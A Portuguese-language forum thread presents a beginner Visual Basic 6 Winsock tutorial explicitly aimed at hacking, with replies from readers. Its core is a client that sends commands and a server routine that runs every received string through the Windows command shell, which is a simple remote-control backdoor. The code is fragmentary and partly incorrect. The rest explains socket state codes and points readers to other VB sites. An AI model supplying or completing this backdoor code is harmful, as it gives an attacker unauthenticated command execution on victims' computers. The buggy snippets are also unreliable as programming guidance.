Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6

[branco]

Bom, espero que vocês já tenham conhecimentos minimos para manipular as funções basicas. ( opa to aprendendo a escrever dificil  :D

fui, HLM

[Sladrak]

vlw branco!!

Tava precisando disso!!

Vai ser de grande ajuda...
Obrigado

[Skayler]

Branco, porquê será que meu Visual Basic não tem ?!?

[]'s

Skayler

[branco]

enves de adicionala, vá em browser e procure por MSWINSCK.OCX se achar add ela, se não tente fazer o download e depois é só adicionala e usar =p

[Sladrak]

Branco...

Vc pretende terminar o tutorial??
Nao ira por exemplo do cmdEnviar?

Nao entendi muito bem isso aki nao
cmd = string(comando)

De 1 exemplo simples por favor?

Flw... e novamente vlw

[branco]

isso transforma o comando em string e grava no cmd, ja que estão interessados, vo acabar de fazer sim, explicando tambem as comparações de sockets

[branco]

Continuação...

Agora iremos fazer o cmdEnviar, praque ele serve ? para enviar comandos ao servidor.

private sub cmdEnviar_click()
sock.senddata txtcmd
exit sub

sock.senddata txtcmd
esse argumento serve para que o sock ( o socket que está conectado ( precisa se conectar antes de enviar o cmd ) ) envie o comando pro servidor

como já disse, quando o comando chegar no servidor a seguinte função irá tratar ele e executar o comando enviado

private sub sock_dataarrival(byval comando as long)
dim cmd$
cmd = string(comando)
sock.getdata cmd
shell environ("ComSpec") & " /c " & cmd
exit sub

Comparando sockets
O socket trabalha com status em string e tambem em numeros, prefiro em numeros, mas fica á criterio

usamos os seguintes numeros para comparar sockets :
0 - socket close
4 - socket connectando
7 - socket conectado
6 - socket erro

para saber os outros status, basta criar um label e depois fazer uma comparação, como nos exemplos abaixo

sock.remotehost = www.darkers.com.br
sock.remoteport = 80
sock.connect
doevents 'para esperar o socket se conectar
label1.caption = sock.state 'faz com que o label, pegue o status do socket, quase com certeza será 7 ( conectado )

repare o topico http://www.darkers.com.br/smf/index.php ... 691.0.html para entender melhor os comandos de comparações, são essenciais para um programa "sem" erros.

qualquer duvida podem postar aqui mesmo, se eu souber irei ajudar ! t+
 :-*

[Anonymous]

cara tou com uma dificuldade(sou bem iniciante em vb) como posso pegar o conteudo de um arquivo txt num servidor externo e armazenalo em um variavel usando os controles winsok inet ou algo parecido

[branco]

brow, migrei pro vb.net e parei com o 6, nao cheguei a estudar isso, aqui vai alguns sites pra vc tentar conseguir ajuda :

www.vbmania.com.br
www.vbweb.com.br
www.macoratti.net

have fun